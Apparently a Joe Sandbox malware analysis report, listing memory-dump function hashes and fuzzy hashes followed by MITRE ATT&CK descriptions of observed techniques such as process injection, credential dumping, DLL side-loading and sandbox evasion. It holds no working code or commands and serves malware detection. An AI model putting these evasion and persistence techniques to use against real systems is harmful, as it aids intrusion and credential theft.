Opcode Fuzzy Hash: b600af004c77d1c45bee71c33c1656232c7fb89d5e04eac93683a8c41f674ec0
Instruction Fuzzy Hash: 59310711B0C9190FE768F76C686AAF833C1DF5833AB1446BBE40EC72E7CC18AC418284

Function 00007FFD9BAC0998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f35eda8be8b96f26c3e17b5b3977350754688a28289c4f4f37e22852ec15edd
Instruction ID: 9c5830981a8abd91fcc9f433cc7e7d018e55d59261cab09fc80fd79fe59b5121
Opcode Fuzzy Hash: 1f35eda8be8b96f26c3e17b5b3977350754688a28289c4f4f37e22852ec15edd
Instruction Fuzzy Hash: E5212920B1991D0FF798FB6C44A9A7577C2EF99321F5101B9E40DC32F7DD54AC418285

Function 00007FFD9BAC0C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99bdd9842516cd3ada02701b9d13edb943e55e647d8f21f39ea6d7e8a644fb2b
Instruction ID: 86f22ba2496be32b94b35e5904b6c2222b0afd8b976df2774cf17d51aa947219
Opcode Fuzzy Hash: 99bdd9842516cd3ada02701b9d13edb943e55e647d8f21f39ea6d7e8a644fb2b
Instruction Fuzzy Hash: C7210836A0D78D8FE732EB68C8511ED7FA0EF52325F1542B7D054CB192D5342646C785

Function 00007FFD9BAF21DA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f34faf0796408413ae1639ed09260c9731a33498e160a3152f3cce7e300d36c
Instruction ID: 06a1e5dc98272de43ecfdf7160554751b6b10e838c0a5f60f400d8dbcbec3cb0
Opcode Fuzzy Hash: 0f34faf0796408413ae1639ed09260c9731a33498e160a3152f3cce7e300d36c
Instruction Fuzzy Hash: CA116632B0DA1A4FE7A8EB94C4B5BF477A1EB58310F550179E449C72D6CD686D818B80

Function 00007FFD9BAC0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47fb94582e6dc330d93a638bbefc5ec6fcd29dd2c3f013b2a83a2cd82bc1b6b
Instruction ID: c73538fb4e50e2a1f1f90ca295190597462f65a0ff9027e161b90c48eab73423
Opcode Fuzzy Hash: d47fb94582e6dc330d93a638bbefc5ec6fcd29dd2c3f013b2a83a2cd82bc1b6b
Instruction Fuzzy Hash: A3110631A0E78D8FE722EB68C8512ED7FB0EF42210F0542F7D080DB1A3D53416058780

Function 00007FFD9BAF70B8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa763c5ecd80a7f0c782a3eb29db9371ebbf9ef859cd0a1d532d1e2e7d2b11c8
Instruction ID: 1e5d3da6c7761ee444365dc25415fdaa6a49bf22fc8083aebfbe82863d5940d0
Opcode Fuzzy Hash: fa763c5ecd80a7f0c782a3eb29db9371ebbf9ef859cd0a1d532d1e2e7d2b11c8
Instruction Fuzzy Hash: 9001A716B0D6520AD729B67C7C664E83B90CF2A23F70C42B7E19E8D0E7D80865458285

Function 00007FFD9BAD438A Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bad0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1e3277c7de39a03d66c18f3a63aa3076fb9c4fbb6b1d07c5dcb6900606800fd
Instruction ID: 1bd0800191135e0514e8a294f199db8b1411933885d8dc8b751389f46ece4ec0
Opcode Fuzzy Hash: b1e3277c7de39a03d66c18f3a63aa3076fb9c4fbb6b1d07c5dcb6900606800fd
Instruction Fuzzy Hash: 4E113375B0951E8BE7689B88C8656BE77A1FF94314F01033EE416D72E9DFB86A018780

Function 00007FFD9BAFDA95 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdf4f6f59d5e5564301539c177d8c2f941188bd593dbb506c085bba203062264
Instruction ID: 2a921a24e787d1c55b3bb58703b349bc61a990f0a214d7ca0c37b2e203f30fdd
Opcode Fuzzy Hash: cdf4f6f59d5e5564301539c177d8c2f941188bd593dbb506c085bba203062264
Instruction Fuzzy Hash: 94012432F0A50D4BFB64E65898A03FD37E2EFD4311F058132D009971D8CD79AE428740

Function 00007FFD9BAC0C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 593f2f639c0d0f273a4522c8dd9f3422f35a69e6ca91f2bed17488c42132e5bd
Instruction ID: bbd29f3521b807e6f759d34b97e11eeeb14ee161ea54817e8e54b1941d443593
Opcode Fuzzy Hash: 593f2f639c0d0f273a4522c8dd9f3422f35a69e6ca91f2bed17488c42132e5bd
Instruction Fuzzy Hash: 6A01A135A0E78D8FE722EB68C4512ED7FB0EF42214F1542E7D080DB1A2D53466498B80

Function 00007FFD9BAFAF8A Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 400aff4e98c3bbdbc639bd0721c0976f577fbd97df222c06fffd989920033abf
Instruction ID: a856eeea5f4350c8787742f11607b850b3a7e7c8bbd40b1fb1352a442ca70d3d
Opcode Fuzzy Hash: 400aff4e98c3bbdbc639bd0721c0976f577fbd97df222c06fffd989920033abf
Instruction Fuzzy Hash: D1F0C262B1AE0D4FEB94E79C94AA7F877D1FB98311F400276E10DC72A2CE6469444341

Function 00007FFD9BAF9221 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07325ca476e7f128fc4a591a37ed51c99fe97b45635458ab31f87059370f7f36
Instruction ID: 63b460e53f3d0773f6f96cb31035fa50b33d20d58f6d5a5d1015ca2717832c0c
Opcode Fuzzy Hash: 07325ca476e7f128fc4a591a37ed51c99fe97b45635458ab31f87059370f7f36
Instruction Fuzzy Hash: CFF09651E0F7CA5AE76257B6482E4E47F60BF12210F4941F7D4888B0A3EC592A854302

Function 00007FFD9BAC0C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 551a8ce6040af5a129877a5b81b49c967a3a24e69a990bcdacf51c3d1da34ff1
Instruction ID: dad0bb022763cd796725c467af45fa776045d745f38b3575a2762cd03c5cddb8
Opcode Fuzzy Hash: 551a8ce6040af5a129877a5b81b49c967a3a24e69a990bcdacf51c3d1da34ff1
Instruction Fuzzy Hash: CF019235A0D38D8FD722EB64C4502DD7FB0EF02314F1541E7D040DB1A2D5346645C781

Function 00007FFD9BAC0C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f4deff32cf61b977af0307d4f5d5ca1a486ceca3d62c61643149037f4f4464c
Instruction ID: 8e42cb07c7faed592bf2e2d1929bfc0dcd103153ff59560e3ad6491a73d11037
Opcode Fuzzy Hash: 4f4deff32cf61b977af0307d4f5d5ca1a486ceca3d62c61643149037f4f4464c
Instruction Fuzzy Hash: 54017C34A0E3898FE722EBA484942AD7FB0AF02314F1541E6D480DB2A6D57866448741

Function 00007FFD9BAD4AF8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bad0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b96578eb78497914d7478d42e8414a1bfa834320602c61c29719ba6950ba4f
Instruction ID: 45c2568f833d971ef27407900643276875f5df8d69761da347acc960f667b3a5
Opcode Fuzzy Hash: d1b96578eb78497914d7478d42e8414a1bfa834320602c61c29719ba6950ba4f
Instruction Fuzzy Hash: 96F03020B0D51F4AE725AB59D8A07BD3291EB94310F524379D40DC31FBDD68EA014585

Function 00007FFD9BAFAC19 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec75494e3b58a4dc8621f2f066f7019dafb15801f30fc3ed41d368325dec65d
Instruction ID: 22591916d2fbf9809ca34529c93f49f0433b99735085f166e0cd0eaaa3bd11a2
Opcode Fuzzy Hash: 0ec75494e3b58a4dc8621f2f066f7019dafb15801f30fc3ed41d368325dec65d
Instruction Fuzzy Hash: 10F0EC21B1DBC80FC729566D48651617FF1DF5711134A01FFC487C72A3DD54AC858341

Function 00007FFD9BAD43DC Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bad0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2d7606e2bdc30e671bdb4e1b4f4ee968781bbd83c96477a8d6f1fb8c09f2e4
Instruction ID: ae6d050f4b40689b00b9a91d7df5cd9a78b28b16ab09e1ebf5d250e2c74d86b6
Opcode Fuzzy Hash: 6e2d7606e2bdc30e671bdb4e1b4f4ee968781bbd83c96477a8d6f1fb8c09f2e4
Instruction Fuzzy Hash: 31F01230E1551E8BEB18EB80C8656BD72B1FF54314F00063DD415D72E5CFB46A008740

Function 00007FFD9BAFA780 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BAFA6F0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction ID: 3b92578e4f7772e49ffbfe9f1dff6bdc011e0549b8a98965e61b2550fcb9a3e4
Opcode Fuzzy Hash: 86516cfc4d8a0d480af8f07283063ca962ff981a2c8af2a83e93b7d611e3f089
Instruction Fuzzy Hash: 41D0A930B10E0C4B8B0CB63D885C430B3D2E7B9202384536E940AC32A1ED26ECC9CB80

Function 00007FFD9BAFDC59 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee859a7cad40632877c5828627164d3d77bba45d98ac19bfc4f3ccf833f6310c
Instruction ID: feac7e2e7dae279cb22c5a3e3ff3a6f243ffa4b313d8605e1236a9c57ed887e4
Opcode Fuzzy Hash: ee859a7cad40632877c5828627164d3d77bba45d98ac19bfc4f3ccf833f6310c
Instruction Fuzzy Hash: 30E01A3154E3C04FC70B9B3488A88443F709E5721074A41EAC045CF1B3DA299949C711

Function 00007FFD9BAFDBD9 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e047bfa3fe84fa6278d1fabad01347669ccf9c20db7899815bf2e47110b65e6
Instruction ID: 74f9120ef1af78825e773f07768e6313903d447e8be3a896b744223f8225fb69
Opcode Fuzzy Hash: 3e047bfa3fe84fa6278d1fabad01347669ccf9c20db7899815bf2e47110b65e6
Instruction Fuzzy Hash: 45E04F2154E3C44FC70B9B3088688503F619E2721074A40EFC145CF2B3E9298849C701

Function 00007FFD9BAC6D82 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction ID: cffe30812f9936381c18cc1dcaf244f5dd17f94aef07d68852f6b0c2adbad5b8
Opcode Fuzzy Hash: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction Fuzzy Hash: 3CE07D30F0A51A4EF7B4B754C8617BA62A1DFA4710F1600B4D94D932E2DEB86E814B45

Function 00007FFD9BAF1EF0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9BAFBA50 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0382474be2252812ffddbfc94a16e0f37ee67439e0a9c7c8d7487183ef8c9765
Instruction ID: dc0c224b13d9495860e1394f121de3da6b0defb6958c904d7385df371f74af81
Opcode Fuzzy Hash: 0382474be2252812ffddbfc94a16e0f37ee67439e0a9c7c8d7487183ef8c9765
Instruction Fuzzy Hash: 08D01234B519044FC71CAB788C698747791EB6A21679540A9D00BC72B1D96ADD89C741

Function 00007FFD9BAF7108 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAF1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9baf1000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76d09581a485318be0439cddbf594043823472e11f120240bfabd430aedc966
Instruction ID: 45bb1393b1eb1f422ea147662b34a5194eb94f8fc99e05482d468f288357ee8a
Opcode Fuzzy Hash: b76d09581a485318be0439cddbf594043823472e11f120240bfabd430aedc966
Instruction Fuzzy Hash: 2BD01234B519044FC71CA73888698747791EB6A21679540A9D00BC72B1D96ADD89C781

Function 00007FFD9BAC4848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2260690593.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 374f1dd2d537b664dba22995f0181587f27060e9659ca9eaef6e48917825efca
Instruction ID: 86ef3dd6062f0211a4f7af4e8acb1bafbff5b9694c7e46aefbbff698721eec1a
Opcode Fuzzy Hash: 374f1dd2d537b664dba22995f0181587f27060e9659ca9eaef6e48917825efca
Instruction Fuzzy Hash: 96C04C01F1D81A07F35A7214443157E44829F95719F950575E41EC77DECE5C6E0147C7

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

